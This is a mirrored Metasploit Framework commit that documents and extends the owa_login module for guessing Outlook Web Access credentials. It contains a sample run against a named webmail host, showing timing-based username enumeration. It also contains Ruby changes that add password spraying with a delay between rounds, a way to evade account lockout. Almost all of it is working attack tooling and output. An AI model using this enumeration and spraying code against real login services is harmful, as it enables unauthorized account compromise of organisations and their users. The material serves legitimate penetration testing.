mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #9632, owa_login and auth_brute enhancements
This commit is contained in:
commit
d86dcbc237
60
documentation/modules/auxiliary/scanner/http/owa_login.md
Normal file
60
documentation/modules/auxiliary/scanner/http/owa_login.md
Normal file
@ -0,0 +1,60 @@
|
||||
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
|
||||
|
||||
NOTE: This module assumes that login attempts that take a long time (>1 sec) to
|
||||
return are using a valid domain username. This methodology does not work when
|
||||
passing a full email address (user@domain.com). Full email addresses will not
|
||||
be saved as potentially valid usernames unless we get a successful login.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/owa_login```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Configure a user and password list by setting either `USERNAME`, `PASSWORD`, `USER_FILE`, or `PASS_FILE`.
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/http/owa_login) > run
|
||||
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Testing version OWA_2013
|
||||
[+] Found target domain: HOSTINGCLOUDAPP
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.267791 'HOSTINGCLOUDAPP\administrator' : 'password': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password1
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.273841 'HOSTINGCLOUDAPP\administrator' : 'password1': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : fido
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
|
||||
[+] server type: EXCH2016MBX01
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270796 'HOSTINGCLOUDAPP\administrator' : 'fido': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
|
||||
[+] server type: EXCH2016MBX01
|
||||
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.046935 'HOSTINGCLOUDAPP\johndoe' : 'password' (HTTP redirect with reason 2)
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password1
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.073391 'HOSTINGCLOUDAPP\johndoe' : 'password1' (HTTP redirect with reason 2)
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : fido
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.038717 'HOSTINGCLOUDAPP\johndoe' : 'fido' (HTTP redirect with reason 2)
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.289186 'HOSTINGCLOUDAPP\bob' : 'password': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password1
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270616 'HOSTINGCLOUDAPP\bob' : 'password1': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : fido
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.275251 'HOSTINGCLOUDAPP\bob' : 'fido': SAVING TO CREDS
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
@ -32,6 +32,8 @@ module Auxiliary::AuthBrute
|
||||
OptBool.new('REMOVE_USER_FILE', [ true, "Automatically delete the USER_FILE on module completion", false]),
|
||||
OptBool.new('REMOVE_PASS_FILE', [ true, "Automatically delete the PASS_FILE on module completion", false]),
|
||||
OptBool.new('REMOVE_USERPASS_FILE', [ true, "Automatically delete the USERPASS_FILE on module completion", false]),
|
||||
OptBool.new('PASSWORD_SPRAY', [true, "Reverse the credential pairing order. For each password, attempt every possible user.", false]),
|
||||
OptInt.new('TRANSITION_DELAY', [false, "Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)", 0]),
|
||||
OptInt.new('MaxGuessesPerService', [ false, "Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@guesses_per_service
|
||||
OptInt.new('MaxMinutesPerService', [ false, "Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@brute_start_time
|
||||
OptInt.new('MaxGuessesPerUser', [ false, %q{
|
||||
@ -175,6 +177,7 @@ module Auxiliary::AuthBrute
|
||||
initialize_class_variables(this_service,credentials)
|
||||
end
|
||||
|
||||
prev_iterator = nil
|
||||
credentials.each do |u, p|
|
||||
# Explicitly be able to set a blank (zero-byte) username by setting the
|
||||
# username to <BLANK>. It's up to the caller to handle this if it's not
|
||||
@ -194,6 +197,19 @@ module Auxiliary::AuthBrute
|
||||
next if @@credentials_skipped[fq_user]
|
||||
next if @@credentials_tried[fq_user] == p
|
||||
|
||||
# Used for tracking if we should TRANSITION_DELAY
|
||||
# If the current user/password values don't match the previous iteration we know
|
||||
# we've made it through all of the records for that iteration and should start the delay.
|
||||
if ![u,p].include?(prev_iterator)
|
||||
unless prev_iterator.nil? # Prevents a delay on the first run through
|
||||
if datastore['TRANSITION_DELAY'] > 0
|
||||
vprint_status("Delaying #{datastore['TRANSITION_DELAY']} minutes before attempting next iteration.")
|
||||
sleep datastore['TRANSITION_DELAY'] * 60
|
||||
end
|
||||
end
|
||||
prev_iterator = datastore['PASSWORD_SPRAY'] ? p : u # Update the iterator
|
||||
end
|
||||
|
||||
ret = block.call(u, p)
|
||||
|
||||
case ret
|
||||
@ -422,9 +438,17 @@ module Auxiliary::AuthBrute
|
||||
elsif user_array.empty?
|
||||
combined_array = pass_array.map {|p| ["",p] }
|
||||
else
|
||||
user_array.each do |u|
|
||||
if datastore['PASSWORD_SPRAY']
|
||||
pass_array.each do |p|
|
||||
combined_array << [u,p]
|
||||
user_array.each do |u|
|
||||
combined_array << [u,p]
|
||||
end
|
||||
end
|
||||
else
|
||||
user_array.each do |u|
|
||||
pass_array.each do |p|
|
||||
combined_array << [u,p]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -254,14 +254,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
# Login didn't work. no point in going on, however, check if valid domain account by response time.
|
||||
if elapsed_time <= 1
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'owa',
|
||||
user: user
|
||||
)
|
||||
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
|
||||
return :Skip_pass
|
||||
unless user =~ /@\w+\.\w+/
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'owa',
|
||||
user: user
|
||||
)
|
||||
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
|
||||
return :Skip_pass
|
||||
end
|
||||
else
|
||||
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
|
||||
return :Skip_pass
|
||||
@ -300,14 +302,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
if res.redirect?
|
||||
if elapsed_time <= 1
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'owa',
|
||||
user: user
|
||||
)
|
||||
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
|
||||
return :Skip_pass
|
||||
unless user =~ /@\w+\.\w+/
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'owa',
|
||||
user: user
|
||||
)
|
||||
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
|
||||
return :Skip_pass
|
||||
end
|
||||
else
|
||||
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
|
||||
return :skip_pass
|
||||
@ -326,14 +330,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return :next_user
|
||||
else
|
||||
if elapsed_time <= 1
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'owa',
|
||||
user: user
|
||||
)
|
||||
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
|
||||
return :Skip_pass
|
||||
unless user =~ /@\w+\.\w+/
|
||||
report_cred(
|
||||
ip: res.peerinfo['addr'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'owa',
|
||||
user: user
|
||||
)
|
||||
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
|
||||
return :Skip_pass
|
||||
end
|
||||
else
|
||||
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
|
||||
return :skip_pass
|
||||
|
Loading…
Reference in New Issue
Block a user